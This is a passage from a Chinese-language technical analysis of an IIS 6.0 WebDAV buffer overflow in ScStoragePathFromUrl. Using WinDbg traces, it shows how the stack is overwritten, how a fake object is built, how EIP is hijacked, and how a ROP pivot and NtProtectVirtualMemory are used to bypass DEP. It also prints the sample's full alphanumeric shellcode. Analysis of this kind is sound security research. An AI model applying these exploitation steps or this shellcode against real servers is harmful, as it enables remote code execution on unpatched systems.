    //  v18 = 0x12 - 0 + wcslen('/path>') + 1 = 0x12 + 10249 + 1 = 0x281c
    int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1;
    int v19 = *length < v18;
    if (v19)
    {
        *length = v18;
        if (a5) 
        {
            // ......
        }
        result = 1;
    }

    return result;
}

这里得到 v18 的值为 0x281c,而 *length 的值由参数传递,实际由 CStackBuffer::resize 计算得到,最终的值为 0x82,计算公式为:

fake_heap_size = 0;
size = 260;
fake_heap_size = (4 * size) | (fake_heap_size & 3);
fake_heap_size |= 2;

length = fake_heap_size >> 3;

显然有 0x82 < 0x281c,所以函数 ScStoragePathFromUrl*length 填充为 0x281c 并返回 1。实际上,这个值代表的是真实物理路径的字符个数

0x281c = 0x12 ("c:\inetpub\wwwroot") + 10248 ("/aaa..") + 1 ('>') + 1 ('\0')

HrCheckIfHeader 第二次调用 ScStoragePathFromUrl 之前,将根据 length 的值设置 CStackBuffer 缓冲区的大小。然而,这里设置的大小是字符个数,并不是字节数,所以第二次调用 ScStoragePathFromUrl 时会导致缓冲区溢出。实际上,调用 CStackBuffer::resize 的位置就是 httpext!HrCheckIfHeader+0x0000013c,也就是堆溢出发生时通过 !heap -p -a edi 命令得到的栈帧。

res = pMethUtil->ScStoragePathFromUrl(
    buffer2.get(), buffer1.get(), &length);
if (res == 1)
{
    if (buffer1.resize(length))    // httpext!HrCheckIfHeader+0x0000013c
    {
        res = pMethUtil->ScStoragePathFromUrl(
            buffer2.get(), buffer1.get(), &length);
    }
}

小结:

  • 函数 ScStoragePathFromUrl 负责将 URL 请求中的文件路径转换为实际的物理路径,函数的名字也印证了这一猜想;
  • 第一次调用此函数时,由于缓冲区大小不够,返回实际物理路径的字符个数;
  • 第二次调用此函数之前先调整缓冲区的大小;
  • 由于缓冲区的大小设置成了字符个数,而不是字节数,因此导致缓冲区溢出;
  • 两次调用同一个 API 很符合微软的风格(第一次得到所需的空间大小,调整缓冲区大小后再次调用);

3. 漏洞利用

3.1 URL 解码

在函数 HrCheckIfHeader 中,首先调用 CRequest::LpwszGetHeader 来获取 HTTP 头中的特定字段的值,该函数简化后的伪代码如下所示:

int CRequest::LpwszGetHeader(const char *tag, int a3)
{
    // 查找缓存
    int res = CHeaderCache<unsigned short>::LpszGetHeader(
        (char *)this + 56, tag);
    if (res) return res;

    // 获取值
    char *pszHeader = this->LpszGetHeader(tag);
    if (!pszHeader) return 0;

    int nHeaderChars = strlen(pszHeader);
    CStackBuffer<tagPROPVARIANT, 64> stackbuffer(64);
    if (!stackbuffer.resize(2 * nHeaderChars + 2))
    {
        // _CxxThrowException(...);
    }

    // 调用 ScConvertToWide 进行转换
    int v11 = nHeaderChars + 1;
    char* language = this->LpszGetHeader("Accept-Language");
    int v7 = ScConvertToWide(pszHeader, &v11, 
                             stackbuffer.get(), language, a3);
    if ( v7 ) // _CxxThrowException(...);

    // 设置缓存
    res = CHeaderCache<unsigned short>::SetHeader(
            tag, stackbuffer.get(), 0);
    stackbuffer.release();

    return res;
}

可以看出这里通过 CHeaderCache 建立缓存机制,此外获取到的值会通过调用 ScConvertToWide 来进行转换操作。事实上,ScConvertToWide 会调用 MultiByteToWideChar 对字符串进行转换。

MultiByteToWideChar(
    CP_UTF8, 
    0, 
    pszHeader, 
    strlen(pszHeader) + 1, 
    lpWideCharStr, 
    strlen(pszHeader) + 1);

由于存在编码转换操作,Exploit 中的 Payload 需要先进行编码,这样才能保证解码后得到正常的 Payload。字符串转换的调试日志如下所示:

0:007> p
eax=00000000 ebx=00000655 ecx=077f59a9 edx=077f5900 esi=0000fde9 edi=77e62fd6
eip=6712721f esp=03fef5b0 ebp=03fef71c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScConvertToWide+0x150:
6712721f ffd7            call    edi {kernel32!MultiByteToWideChar (77e62fd6)}

$$ 调用 MultiByteToWideChar 时的参数
0:007> dds esp L6
03fef5b0  0000fde9       $$ CP_UTF8
03fef5b4  00000000       $$ 0
03fef5b8  077f59a8       $$ pszHeader
03fef5bc  00000655       $$ strlen(pszHeader) + 1
03fef5c0  077f3350       $$ lpWideCharStr
03fef5c4  00000655       $$ strlen(pszHeader) + 1

$$ 转换前的字符串
0:007> db 077f59a8
077f59a8  3c 68 74 74 70 3a 2f 2f-6c 6f 63 61 6c 68 6f 73  <http://localhos
077f59b8  74 2f 61 61 61 61 61 61-61 e6 bd a8 e7 a1 a3 e7  t/aaaaaaa.......
077f59c8  9d a1 e7 84 b3 e6 a4 b6-e4 9d b2 e7 a8 b9 e4 ad  ................
077f59d8  b7 e4 bd b0 e7 95 93 e7-a9 8f e4 a1 a8 e5 99 a3  ................
077f59e8  e6 b5 94 e6 a1 85 e3 a5-93 e5 81 ac e5 95 a7 e6  ................
077f59f8  9d a3 e3 8d a4 e4 98 b0-e7 a1 85 e6 a5 92 e5 90  ................
077f5a08  b1 e4 b1 98 e6 a9 91 e7-89 81 e4 88 b1 e7 80 b5  ................
077f5a18  e5 a1 90 e3 99 a4 e6 b1-87 e3 94 b9 e5 91 aa e5  ................

0:007> p
eax=000003d1 ebx=00000655 ecx=0000b643 edx=00000000 esi=0000fde9 edi=77e62fd6
eip=67127221 esp=03fef5c8 ebp=03fef71c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScConvertToWide+0x152:
67127221 85c0            test    eax,eax

$$ 转换后的字符串
0:007> db 077f3350
077f3350  3c 00 68 00 74 00 74 00-70 00 3a 00 2f 00 2f 00  <.h.t.t.p.:././.
077f3360  6c 00 6f 00 63 00 61 00-6c 00 68 00 6f 00 73 00  l.o.c.a.l.h.o.s.
077f3370  74 00 2f 00 61 00 61 00-61 00 61 00 61 00 61 00  t./.a.a.a.a.a.a.
077f3380  61 00 68 6f 63 78 61 77-33 71 36 69 72 47 39 7a  a.hocxaw3q6irG9z
077f3390  77 4b 70 4f 53 75 4f 7a-68 48 63 56 54 6d 45 68  wKpOSuOzhHcVTmEh
077f33a0  53 39 6c 50 67 55 63 67-64 33 30 46 45 78 52 69  S9lPgUcgd30FExRi
077f33b0  31 54 58 4c 51 6a 41 72-31 42 35 70 50 58 64 36  1TXLQjAr1B5pPXd6
077f33c0  47 6c 39 35 6a 54 34 50-43 54 52 77 61 50 32 32  Gl95jT4PCTRwaP22

3.2 栈溢出

根据前面的分析,可以知道当字符串超长时是可以导致堆溢出的,但问题是堆块的基地址并不是固定的。实际上,当 CStackBuffer 使用栈作为存储空间时,也可以触发栈溢出,原理和堆溢出是一样的。

当然,这里不是通过栈溢出来执行代码,因为栈上有 cookie

.text:671255F5                 mov     large fs:0, ecx
.text:671255FC                 mov     ecx, [ebp+var_10]
.text:671255FF                 pop     ebx
.text:67125600                 call    @__security_check_cookie@4
.text:67125605                 leave
.text:67125606                 retn    8
.text:67125606 ?HrCheckIfHeader@@YGJPAVCMethUtil@@PBG@Z endp

在函数 HrCheckIfHeader 中存在两个 CStackBuffer 实例:

  char c_stack_buffer_1;            // [sp+44h] [bp-430h]@1
  unsigned int v29;                 // [sp+148h] [bp-32Ch]@9
  wchar_t *stack_buffer1;           // [sp+14Ch] [bp-328h]@9
  char c_stack_buffer_2;            // [sp+150h] [bp-324h]@7
  unsigned __int16 *stack_buffer2;  // [sp+258h] [bp-21Ch]@8

基于前面对 CStackBuffer 内存布局的分析,可以知道这里栈空间的分布为:

┌─────────────────────────┐
│            2.heap_buffer│  ebp-21C
├─────────────────────────┤
│         2.fake_heap_size│  ebp-220
├─────────────────────────┤
│CStackBuffer2.buffer[260]│  ebp-324
├─────────────────────────┤
│            1.heap_buffer│  ebp-328
├─────────────────────────┤
│         1.fake_heap_size│  ebp-32C
├─────────────────────────┤
│CStackBuffer1.buffer[260]│  ebp-430
└─────────────────────────┘

下面要重点分析的代码片段为:

res = pMethUtil->ScStoragePathFromUrl(
    buffer2.get(), buffer1.get(), &length);     // (1)
if (res == 1)
{
    if (buffer1.resize(length))                 // (2)
    {
        res = pMethUtil->ScStoragePathFromUrl(  // (3)
            buffer2.get(), buffer1.get(), &length);
    }
}

(1) HrCheckIfHeader 第一次调用 ScStoragePathFromUrl 时传递的参数分析如下(函数返回值为 1,长度设置为 0xaa):

0:006> dds esp L3
03faf7b4  077d8eb0      $$ http://localhost/aaaaaaa....
03faf7b8  03faf804      $$ CStackBuffer1.buffer
03faf7bc  03faf800      $$ 00000082

0:006> dd 03faf800 L1
03faf800  

0:006> db 077d8eb0
077d8eb0  68 00 74 00 74 00 70 00-3a 00 2f 00 2f 00 6c 00  h.t.t.p.:././.l.
077d8ec0  6f 00 63 00 61 00 6c 00-68 00 6f 00 73 00 74 00  o.c.a.l.h.o.s.t.
077d8ed0  2f 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00  /.a.a.a.a.a.a.a.
077d8ee0  68 6f 63 78 61 77 33 71-36 69 72 47 39 7a 77 4b  hocxaw3q6irG9zwK
077d8ef0  70 4f 53 75 4f 7a 68 48-63 56 54 6d 45 68 53 39  pOSuOzhHcVTmEhS9
077d8f00  6c 50 67 55 63 67 64 33-30 46 45 78 52 69 31 54  lPgUcgd30FExRi1T
077d8f10  58 4c 51 6a 41 72 31 42-35 70 50 58 64 36 47 6c  XLQjAr1B5pPXd6Gl
077d8f20  39 35 6a 54 34 50 43 54-52 77 61 50 32 32 4b 6d  95jT4PCTRwaP22Km
077d8f30  34 6c 47 32 41 62 4d 37-61 51 62 58 73 47 50 52  4lG2AbM7aQbXsGPR
077d8f40  70 36 44 75 6a 68 74 33-4a 4e 6b 78 76 49 73 4e  p6Dujht3JNkxvIsN
077d8f50  6a 4c 7a 57 71 6f 4a 58-30 32 6e 37 49 4b 4d 52  jLzWqoJX02n7IKMR
077d8f60  63 48 4c 6f 56 75 75 75-6f 66 68 76 4d 44 70 50  cHLoVuuuofhvMDpP
077d8f70  36 7a 4b 62 57 65 50 75-72 6a 6b 7a 62 77 58 76  6zKbWePurjkzbwXv
077d8f80  48 62 31 65 54 30 79 6c-4a 50 62 54 33 50 77 35  Hb1eT0ylJPbT3Pw5
077d8f90  77 6a 44 41 34 33 76 64-46 4d 54 56 6c 47 43 65  wjDA43vdFMTVlGCe
077d8fa0  32 76 78 72 69 57 38 43-72 62 30 5a 38 59 48 54  2vxriW8Crb0Z8YHT
077d8fb0  02 02 02 02 c0 12 03 68-44 6c 56 52 37 4b 6d 6c  .......hDlVR7Kml
077d8fc0  58 4f 5a 58 50 79 6a 49-4f 58 52 4a 50 41 4d 66  XOZXPyjIOXRJPAMf
077d8fd0  c0 13 03 68 34 48 31 65-43 6f 66 6e 41 74 6c 43  ...h4H1eCofnAtlC
077d8fe0  c0 13 03 68 43 53 41 6a-52 70 30 33 66 58 4c 42  ...hCSAjRp03fXLB
077d8ff0  4b 70 46 63 73 51 41 79-50 7a 6c 4a 3e 00 00 00  KpFcsQAyPzlJ>...
077d9000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

(2) 因为 ScStoragePathFromUrl 返回 0xaa,所以 buffer1.resize(0xaa) 并不会在堆上分配空间,而是直接使用栈上的 buffer

(3) 第二次调用 ScStoragePathFromUrl 时会导致栈溢出,实际结果是 CStackBuffer1.fake_heap_size 被改写为 0x02020202CStackBuffer1.heap_buffer 被改写为 0x680312c0

0:006> dds esp L3
03faf7b4  077d8eb0      $$ http://localhost/aaaaaaa....
03faf7b8  03faf804      $$ CStackBuffer1.buffer
03faf7bc  03faf800      $$ 00000412 = ((0x104 * 4) | (0x82 & 3)) | 2

$$ 留意最后面 2 个 DWORD 的值
0:006> db ebp-430 L10C
03faf804  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
03faf814  c0 59 55 03 00 00 00 00-00 10 08 00 60 f8 fa 03  .YU.........`...
03faf824  fc f7 fa 03 f8 64 02 07-94 f8 fa 03 70 82 82 7c  .....d......p..|
03faf834  a0 6e 87 7c 00 00 00 00-9c 6e 87 7c 00 00 00 00  .n.|.....n.|....
03faf844  01 00 00 00 16 00 00 00-23 9f 87 7c 00 00 00 00  ........#..|....
03faf854  c4 af 7b 04 02 00 00 01-00 00 00 00 04 5d 88 8a  ..{..........]..
03faf864  6c 00 00 00 8c 1e 8f 60-82 1e 8f 60 02 00 00 00  l......`...`....
03faf874  9a 1e 8f 60 34 fb fa 03-33 00 00 00 00 00 00 00  ...`4...3.......
03faf884  8c 1e 8f 60 52 23 8f 60-22 00 00 00 00 00 00 00  ...`R#.`".......
03faf894  00 00 00 00 00 00 00 00-01 00 00 00 0c 00 00 00  ................
03faf8a4  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
03faf8b4  f6 67 ca 77 00 00 00 00-00 00 00 00 00 00 00 00  .g.w............
03faf8c4  00 00 00 00 00 00 00 00-20 f9 fa 03 4a b0 bc 77  ........ ...J..w
03faf8d4  85 05 00 00 4f f9 fa 03-5b 20 11 67 5c b0 bc 77  ....O...[ .g\..w
03faf8e4  5b 20 11 67 b0 72 bd 77-4f f9 fa 03 5b 20 11 67  [ .g.r.wO...[ .g
03faf8f4  13 00 00 00 58 00 00 00-00 00 00 00 e8 64 02 07  ....X........d..
03faf904  c0 17 bf 77 12 04 00 00-04 f8 fa 03              ...w........
                      ^^^^^^^^^^^ ~~~~~~~~~~~

0:006> p
eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=03faf804 esi=00000001 edi=77bd8ef2
eip=67125484 esp=03faf7c0 ebp=03fafc34 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!HrCheckIfHeader+0x15e:
67125484 8bf0            mov     esi,eax

$$ 留意最后面 2 个 DWORD 的值
0:006> db ebp-430 L10C
03faf804  63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00  c.:.\.i.n.e.t.p.
03faf814  75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00  u.b.\.w.w.w.r.o.
03faf824  6f 00 74 00 5c 00 61 00-61 00 61 00 61 00 61 00  o.t.\.a.a.a.a.a.
03faf834  61 00 61 00 68 6f 63 78-61 77 33 71 36 69 72 47  a.a.hocxaw3q6irG
03faf844  39 7a 77 4b 70 4f 53 75-4f 7a 68 48 63 56 54 6d  9zwKpOSuOzhHcVTm
03faf854  45 68 53 39 6c 50 67 55-63 67 64 33 30 46 45 78  EhS9lPgUcgd30FEx
03faf864  52 69 31 54 58 4c 51 6a-41 72 31 42 35 70 50 58  Ri1TXLQjAr1B5pPX
03faf874  64 36 47 6c 39 35 6a 54-34 50 43 54 52 77 61 50  d6Gl95jT4PCTRwaP
03faf884  32 32 4b 6d 34 6c 47 32-41 62 4d 37 61 51 62 58  22Km4lG2AbM7aQbX
03faf894  73 47 50 52 70 36 44 75-6a 68 74 33 4a 4e 6b 78  sGPRp6Dujht3JNkx
03faf8a4  76 49 73 4e 6a 4c 7a 57-71 6f 4a 58 30 32 6e 37  vIsNjLzWqoJX02n7
03faf8b4  49 4b 4d 52 63 48 4c 6f-56 75 75 75 6f 66 68 76  IKMRcHLoVuuuofhv
03faf8c4  4d 44 70 50 36 7a 4b 62-57 65 50 75 72 6a 6b 7a  MDpP6zKbWePurjkz
03faf8d4  62 77 58 76 48 62 31 65-54 30 79 6c 4a 50 62 54  bwXvHb1eT0ylJPbT
03faf8e4  33 50 77 35 77 6a 44 41-34 33 76 64 46 4d 54 56  3Pw5wjDA43vdFMTV
03faf8f4  6c 47 43 65 32 76 78 72-69 57 38 43 72 62 30 5a  lGCe2vxriW8Crb0Z
03faf904  38 59 48 54 02 02 02 02-c0 12 03 68              8YHT.......h
                      ^^^^^^^^^^^ ~~~~~~~~~~~

3.3 填充数据

通过!address 命令可知地址 0x680312c0 位于 rsaenh 模块中,具备 PAGE_READWRITE 属性。

0:006> !address 680312c0
Failed to map Heaps (error 80004005)
Usage:                  Image
Allocation Base:        68000000
Base Address:           68030000
End Address:            68032000
Region Size:            00002000
Type:                   01000000    MEM_IMAGE
State:                  00001000    MEM_COMMIT
Protect:                00000004    PAGE_READWRITE
More info:              lmv m rsaenh
More info:              !lmi rsaenh
More info:              ln 0x680312c0

0:006> u 680312c0 L1
rsaenh!g_pfnFree+0x4:
680312c0 0000            add     byte ptr [eax],al

在解析 http://localhost/bbbbbbb...... 时,数据将被直接填充到地址 0x680312c0。此时,由于 CStackBuffer1 的长度已经 足够大ScStoragePathFromUrl 只会被调用一次。

$$ ScStoragePathFromUrl 参数
0:006> dds esp L3
03faf7b4  077dc9e0
03faf7b8  680312c0 rsaenh!g_pfnFree+0x4
03faf7bc  03faf800

0:006> dd 03faf800 L1
03faf800  00404040

0:006> p
eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=680312c0 esi=00000000 edi=77bd8ef2
eip=6712544a esp=03faf7c0 ebp=03fafc34 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!HrCheckIfHeader+0x124:
6712544a 8bf0            mov     esi,eax

$$ 填充数据到 0x680312c0
0:006> db 680312c0
680312c0  63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00  c.:.\.i.n.e.t.p.
680312d0  75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00  u.b.\.w.w.w.r.o.
680312e0  6f 00 74 00 5c 00 62 00-62 00 62 00 62 00 62 00  o.t.\.b.b.b.b.b.
680312f0  62 00 62 00 48 79 75 61-43 4f 67 6f 6f 6b 45 48  b.b.HyuaCOgookEH
68031300  46 36 75 67 33 44 71 38-65 57 62 5a 35 54 61 56  F6ug3Dq8eWbZ5TaV
68031310  52 69 53 6a 57 51 4e 38-48 59 55 63 71 49 64 43  RiSjWQN8HYUcqIdC
68031320  72 64 68 34 58 47 79 71-6b 33 55 6b 48 6d 4f 50  rdh4XGyqk3UkHmOP
68031330  46 7a 71 34 54 6f 43 74-56 59 6f 6f 41 73 57 34  Fzq4ToCtVYooAsW4
0:006> db
68031340  68 61 72 7a 45 37 49 4d-4e 57 48 54 38 4c 7a 36  harzE7IMNWHT8Lz6
68031350  72 35 66 62 43 6e 6d 48-48 35 77 61 5a 4d 74 61  r5fbCnmHH5waZMta
68031360  33 41 65 43 72 52 69 6d-71 36 64 4e 39 6e 53 63  3AeCrRimq6dN9nSc
68031370  64 6b 46 51 30 4f 6f 78-53 72 50 67 53 45 63 7a  dkFQ0OoxSrPgSEcz
68031380  39 71 53 4f 56 44 36 6f-79 73 77 68 56 7a 4a 61  9qSOVD6oyswhVzJa
68031390  45 39 39 36 39 6c 31 45-72 34 65 53 4a 58 4e 44  E9969l1Er4eSJXND
680313a0  44 7a 35 6c 56 5a 41 62-72 6e 31 66 59 59 33 54  Dz5lVZAbrn1fYY3T
680313b0  42 31 65 58 41 59 50 71-36 30 77 57 57 44 61 53  B1eXAYPq60wWWDaS
0:006> db
680313c0  c0 13 03 68 4f 6e 00 68-4f 6e 00 68 47 42 6a 76  ...hOn.hOn.hGBjv
680313d0  c0 13 03 68 57 42 74 4f-47 59 34 52 66 4b 42 4b  ...hWBtOGY4RfKBK
680313e0  64 74 6f 78 82 60 01 68-35 51 7a 72 7a 74 47 4d  dtox.`.h5QzrztGM
680313f0  59 44 57 57 13 b1 00 68-76 31 6f 6e e3 24 01 68  YDWW...hv1on.$.h
68031400  60 14 03 68 00 03 fe 7f-ff ff ff ff c0 13 03 68  `..h...........h
68031410  6e 04 03 68 6e 71 70 74-34 14 03 68 e7 29 01 68  n..hnqpt4..h.).h
68031420  91 93 00 68 31 39 6e 66-55 49 52 30 6b 54 6b 76  ...h19nfUIR0kTkv
68031430  4a 72 61 79 1c 14 03 68-05 6e 00 68 32 77 68 79  Jray...h.n.h2why

3.4 控制 EIP

在函数 HrCheckIfHeader 返回后,后面会跳转到 CParseLockTokenHeader::HrGetLockIdForPath 中去执行,而后者也会多次调用 CMethUtil::ScStoragePathFromUrl 这个函数。同样,解析 URL 第一部分(http://localhost/aaaaaaa....)时完成栈溢出,此时会覆盖到一个引用 CMethUtil 对象的局部变量;在解析 URL 第二部分(http://localhost/bbbbbbb....)时,因为 CMethUtil 已经伪造好,其成员 IEcb 实例同样完成伪造,最后在 ScStripAndCheckHttpPrefix 中实现 EIP 的控制。

CPutRequest::Execute
├──HrCheckStateHeaders
│  └──HrCheckIfHeader
│     ├──CMethUtil::ScStoragePathFromUrl
│     └──CMethUtil::ScStoragePathFromUrl
│
└──FGetLockHandle
   └──CParseLockTokenHeader::HrGetLockIdForPath
      ├──CMethUtil::ScStoragePathFromUrl
      └──CMethUtil::ScStoragePathFromUrl

(1) FGetLockHandle 分析
函数 FGetLockHandle 里面构造了一个 CParseLockTokenHeader 对象,存储于栈上的一个局部变量引用了这个对象 (这一点很重要),调用该对象的成员函数 HrGetLockIdForPath 进入下一阶段。

int __stdcall FGetLockHandle(
    struct CMethUtil *a1, wchar_t *Str, 
    unsigned __int32 a3, const unsigned __int16 *a4, 
    struct auto_ref_handle *a5)
{
  signed int v5; // eax@1
  int result; // eax@2
  CParseLockTokenHeader *v7; // [sp+0h] [bp-54h]@1
  union _LARGE_INTEGER v8; // [sp+40h] [bp-14h]@1
  int v9; // [sp+50h] [bp-4h]@1

  v7 = CParseLockTokenHeader(a1, a4);
  v9 = 0;
  v7->SetPaths(Str, 0);
  v5 = v7->HrGetLockIdForPath(Str, a3, &v8, 0);
  v9 = -1;
  if ( v5 >= 0 )
  {
    result = FGetLockHandleFromId(a1, v8, Str, a3, a5);
  }
  else
  {
    result = 0;
  }
  return result;
}

(2) HrGetLockIdForPath 分析
HrGetLockIdForPathHrCheckIfHeader 有点类似,同样存在两个 CStackBuffer 变量。不同的是,v22.HighPart 指向父级函数 HrGetLockIdForPath 中引用 CParseLockTokenHeader 对象的局部变量,而且这里也会将其转换为 CMethUtil 类型使用。

在解析 URL 第一部分(http://localhost/aaaaaaa....)时,通过栈溢出可以覆盖引用 CParseLockTokenHeader 对象的局部变量,栈布局如下所示。

┌─────────────────────────┐
│   v7 (FGetLockHandle)   │  CParseLockTokenHeader <────┐
├─────────────────────────┤               ↑o            │
│          ......         │               │v            │
├─────────────────────────┤               │e            │
│            2.heap_buffer│  ebp-14       │r            │
├─────────────────────────┤               │f            │
│         2.fake_heap_size│  ebp-18       │l            │
├─────────────────────────┤               │o            │
│CStackBuffer2.buffer[260]│  ebp-11C      │w            │
├─────────────────────────┤ <-------- overwrite data    │
│            1.heap_buffer│  ebp-120 -> heap (url part1)│
├─────────────────────────┤                             │
│         1.fake_heap_size│  ebp-124                    │
├─────────────────────────┤                             │
│CStackBuffer1.buffer[260]│  ebp-228                    │
├─────────────────────────┤                             │
│          ......         │                             │
├────────────┬────────────┤                             │
│ v22.LowPart│v22.HighPart│  ebp-240  (LARGE_INTEGER) ──┘
└────────────┴────────────┘

栈上的数据分布如下所示:

0:006> dds ebp-18
03fafbb8  00000412 --------> CStackBuffer2.fake_heap_size
03fafbbc  03fafab4 --------> CStackBuffer2.buffer[260]
03fafbc0  00000168
03fafbc4  03fafc30
03fafbc8  67140bdd httpext!swscanf+0x137d  --> ret addr
03fafbcc  00000002
03fafbd0  03fafc3c
03fafbd4  6711aba9 httpext!FGetLockHandle+0x40
03fafbd8  07874c2e
03fafbdc  80000000
03fafbe0  03fafc28
03fafbe4  00000000
03fafbe8  07872fc0 --------> CParseLockTokenHeader xx
03fafbec  0788c858
03fafbf0  0788c858


$$ CMethUtil
0:006> r ecx
ecx=07872fc0

$$ LARGE_INTEGER v22
0:006> dd ebp-240 L2
03faf990  5a3211a0 03fafbe8

$$ CStackBuffer2.buffer[260]
0:006> ?ebp-11C
Evaluate expression: 66779828 = 03fafab4

分析栈的布局可以知道,在复制 260+12*4=308 字节数据后,后续的 4 字节数据将覆盖引用 CParseLockTokenHeader 对象的局部变量。需要注意的是,这里所说的 308 字节,是 URL 转变成物理路径后的前 308 字节。执行完 CMethUtil::ScStoragePathFromUrl 之后,680313c0 被填充到父级函数中引用 CParseLockTokenHeader 对象所在的局部变量。

$$ LARGE_INTEGER v22
0:006> dd ebp-240 L2
03faf990  5a3211a0 03fafbe8

0:006> dd 03fafbe8 L1
03fafbe8  680313c0

(3) ScStripAndCheckHttpPrefix 分析
在解析 URL 第二部分(http://localhost/bbbbbbb....)时,由于引用 CParseLockTokenHeader 对象的局部变量的值已经被修改,所以会使用伪造的对象,最终在函数 ScStripAndCheckHttpPrefix 中完成控制权的转移。

CPutRequest::Execute
└──FGetLockHandle
   └──CParseLockTokenHeader::HrGetLockIdForPath ecx = 0x680313C0
      ├──CMethUtil::ScStoragePathFromUrl        ecx = 0x680313C0
      │  └──ScStoragePathFromUrl                ecx = [ecx+0x10]=0x680313C0
      │     └──ScStripAndCheckHttpPrefix        call [[ecx]+0x24]
      └──CMethUtil::ScStoragePathFromUrl

接管控制权后,将开始执行 ROP 代码。

0:006> dd 680313C0 L1
680313c0  680313c0

0:006> dd 680313C0+10 L1
680313d0  680313c0

0:006> dd 680313C0+24 L1
680313e4  68016082

0:006> u 68016082
rsaenh!_alloca_probe+0x42:
68016082 8be1            mov     esp,ecx
68016084 8b08            mov     ecx,dword ptr [eax]
68016086 8b4004          mov     eax,dword ptr [eax+4]
68016089 50              push    eax
6801608a c3              ret
6801608b cc              int     3
6801608c cc              int     3
6801608d cc              int     3

3.5 绕过 DEP

在执行 ROP 代码片段时,会跳转到 KiFastSystemCall 去执行,这里将 EAX 寄存器的值设置为 0x8F,也就是 NtProtectVirtualMemory 的服务号,函数的参数通过栈进行传递。

0:006> dds esp
68031400  68031460      --> return address
68031404  7ffe0300      --> SharedUserData!SystemCallStub
68031408  ffffffff      --> ProcessHandle, CURRENT_PROCESS
6803140c  680313c0      --> BaseAddress
68031410  6803046e      --> RegionSize, 0x48
68031414  00000040      --> NewProtectWin32, PAGE_EXECUTE_READWRITE
68031418  68031434      --> OldProtect

TK 在 CanSecWest 2013 的演讲《DEP/ASLR bypass without ROP/JIT》[4] 中提到:

SharedUserData is always fixed in 0x7ffe0000 from Windows NT 4 to Windows 8
0x7ffe0300 is always point to KiFastSystemCall
Only work on x86 Windows

这里就是用了 0x7ffe0300 这个地址来定位 KiFastSystemCall(关于 KiFastSystemCall 的介绍,可以参考文档 《KiFastCallEntry() 机制分析》 [5])。

3.6 Shellcode

样本中的 Shellcode 如下:

VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAI
AXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8
Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LM
X1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6
P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XK
Q3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJ
Z2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3UL
Y7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA

前面分析到函数 CRequest::LpwszGetHeader 会把其转成 UNICODE 字符串,所以在内存中长这个样子:

0:006> db 68031460
68031460  55 00 56 00 59 00 41 00-34 00 34 00 34 00 34 00  U.V.Y.A.4.4.4.4.
68031470  34 00 34 00 34 00 34 00-34 00 34 00 51 00 41 00  4.4.4.4.4.4.Q.A.
68031480  54 00 41 00 58 00 41 00-5a 00 41 00 50 00 41 00  T.A.X.A.Z.A.P.A.
68031490  33 00 51 00 41 00 44 00-41 00 5a 00 41 00 42 00  3.Q.A.D.A.Z.A.B.
680314a0  41 00 52 00 41 00 4c 00-41 00 59 00 41 00 49 00  A.R.A.L.A.Y.A.I.
680314b0  41 00 51 00 41 00 49 00-41 00 51 00 41 00 50 00  A.Q.A.I.A.Q.A.P.
680314c0  41 00 35 00 41 00 41 00-41 00 50 00 41 00 5a 00  A.5.A.A.A.P.A.Z.
680314d0  31 00 41 00 49 00 31 00-41 00 49 00 41 00 49 00  1.A.I.1.A.I.A.I.

这是所谓的 Alphanumeric Shellcode [6],可以以 ASCII 或者 UNICODE 字符串形式呈现 Shellcode。

3.7 The Last Question

最后一个问题是,在 Exploit 的两个 URL 之间存在 (Not <locktoken:write1>) 这样一个字符串,这个字符串的作用是什么呢?如果删掉这个字符串,Exploit 就失效了,因为 HrCheckIfHeader 中解析 URL 的流程中断了,而解析流程得以继续的关键是 while 循环中嵌套的 for 循环对 IFITER::PszNextToken(2) 的调用。需要注意的是,这里传递的参数值是 2,而分析 IFITER::PszNextToken() 的反汇编代码,可以知道这个字符串只要满足一定的形式就可以了,如 (nOt <hahahahah+asdfgh>) 或者 (nOt [hahahahah+asdfgh]) 都是可以的。

int __thiscall IFITER::PszNextToken(int this, signed int a2)
{
  //......
  if ( !_wcsnicmp(L"not", (const wchar_t *)v4, 3u) )
  {
    *(_DWORD *)(v2 + 4) += 6;
    *(_DWORD *)(v2 + 28) = 1;       // ----> 设置值
    while ( **(_WORD **)(v2 + 4) && iswspace(**(_WORD **)(v2 + 4)) )
      *(_DWORD *)(v2 + 4) += 2;
    if ( !**(_WORD **)(v2 + 4) )
      return 0;
  }
